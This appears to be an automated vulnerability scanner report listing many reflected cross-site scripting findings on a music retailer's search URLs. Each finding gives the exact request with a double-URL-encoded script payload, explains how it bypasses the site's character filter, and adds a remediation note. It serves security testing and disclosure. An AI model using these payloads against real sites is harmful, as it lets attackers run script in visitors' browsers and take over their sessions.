GET /search/query/Perfume%20Genius59d7f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8e61b363abb&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 8c2d4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed8e08f195e2 was submitted in the REST URL parameter 3. This input was echoed as 8c2d4</title><script>alert(1)</script>d8e08f195e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Perfume%20Genius8c2d4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed8e08f195e2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload fcea5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebbc3f0798f6 was submitted in the REST URL parameter 3. This input was echoed as fcea5</title><script>alert(1)</script>bbc3f0798f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Purling%20Hissfcea5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebbc3f0798f6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7db43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5f0ec8c4343 was submitted in the REST URL parameter 3. This input was echoed as 7db43"><script>alert(1)</script>5f0ec8c4343 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Purling%20Hiss7db43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5f0ec8c4343&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c34ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e73286eaf417 was submitted in the REST URL parameter 3. This input was echoed as c34ef</title><script>alert(1)</script>73286eaf417 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Raekwonc34ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e73286eaf417&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6560a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed584a60ee94 was submitted in the REST URL parameter 3. This input was echoed as 6560a"><script>alert(1)</script>d584a60ee94 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Raekwon6560a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed584a60ee94&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c78d8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaddd2ad8ed3 was submitted in the REST URL parameter 3. This input was echoed as c78d8"><script>alert(1)</script>addd2ad8ed3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Residual%20Echoesc78d8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaddd2ad8ed3&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b1c96%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4a7f7f97f3 was submitted in the REST URL parameter 3. This input was echoed as b1c96</title><script>alert(1)</script>4a7f7f97f3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Residual%20Echoesb1c96%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4a7f7f97f3&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload afcce%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e688e097aeb1 was submitted in the REST URL parameter 3. This input was echoed as afcce</title><script>alert(1)</script>688e097aeb1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Rihannaafcce%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e688e097aeb1&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51396%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef815a78008b was submitted in the REST URL parameter 3. This input was echoed as 51396"><script>alert(1)</script>f815a78008b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Rihanna51396%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef815a78008b&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 8b4f3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e039ab75402c was submitted in the REST URL parameter 3. This input was echoed as 8b4f3</title><script>alert(1)</script>039ab75402c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Rita%20Indiana8b4f3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e039ab75402c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebac5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec45724353e8 was submitted in the REST URL parameter 3. This input was echoed as ebac5"><script>alert(1)</script>c45724353e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Rita%20Indianaebac5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec45724353e8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload cbcd1%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eca9cd9f18b9 was submitted in the REST URL parameter 3. This input was echoed as cbcd1</title><script>alert(1)</script>ca9cd9f18b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Robert%20Wyattcbcd1%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eca9cd9f18b9&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63c05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eeb658c86ef4 was submitted in the REST URL parameter 3. This input was echoed as 63c05"><script>alert(1)</script>eb658c86ef4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Robert%20Wyatt63c05%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eeb658c86ef4&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 995da%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2423c1128de was submitted in the REST URL parameter 3. This input was echoed as 995da"><script>alert(1)</script>2423c1128de in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Robyn995da%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2423c1128de&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 37f57%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e28ef7a76fe5 was submitted in the REST URL parameter 3. This input was echoed as 37f57</title><script>alert(1)</script>28ef7a76fe5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Robyn37f57%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e28ef7a76fe5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 751c3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e331a7af2b60 was submitted in the REST URL parameter 3. This input was echoed as 751c3"><script>alert(1)</script>331a7af2b60 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Shit%20Robot751c3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e331a7af2b60&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 7f940%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e93398f354fe was submitted in the REST URL parameter 3. This input was echoed as 7f940</title><script>alert(1)</script>93398f354fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Shit%20Robot7f940%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e93398f354fe&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b5ae%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e64f7e0073f was submitted in the REST URL parameter 3. This input was echoed as 3b5ae"><script>alert(1)</script>64f7e0073f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Simian%20Mobile%20Disco3b5ae%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e64f7e0073f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 8cdd4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6d2557a0349 was submitted in the REST URL parameter 3. This input was echoed as 8cdd4</title><script>alert(1)</script>6d2557a0349 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Simian%20Mobile%20Disco8cdd4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6d2557a0349&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Simian Mobile Disco8cdd4</title><script>alert(1)</script>6d2557a0349</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload ec2ae%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b87ed8218c was submitted in the REST URL parameter 3. This input was echoed as ec2ae</title><script>alert(1)</script>2b87ed8218c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Soft%20Circleec2ae%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b87ed8218c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 76007%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7b5ff49414 was submitted in the REST URL parameter 3. This input was echoed as 76007"><script>alert(1)</script>7b5ff49414 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Soft%20Circle76007%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7b5ff49414&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 1e7cd%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efacd2a9869 was submitted in the REST URL parameter 3. This input was echoed as 1e7cd</title><script>alert(1)</script>facd2a9869 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Spectrals1e7cd%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efacd2a9869&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6cb8f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e426b202871c was submitted in the REST URL parameter 3. This input was echoed as 6cb8f"><script>alert(1)</script>426b202871c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Spectrals6cb8f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e426b202871c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 172cf%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb465bddf206 was submitted in the REST URL parameter 3. This input was echoed as 172cf"><script>alert(1)</script>b465bddf206 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Spoon172cf%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb465bddf206&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 17313%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4da8ba47491 was submitted in the REST URL parameter 3. This input was echoed as 17313</title><script>alert(1)</script>4da8ba47491 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Spoon17313%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4da8ba47491&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdc4f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4255488dda8 was submitted in the REST URL parameter 3. This input was echoed as cdc4f"><script>alert(1)</script>4255488dda8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Sufjan%20Stevenscdc4f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4255488dda8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload fe6a5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee1845867a93 was submitted in the REST URL parameter 3. This input was echoed as fe6a5</title><script>alert(1)</script>e1845867a93 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
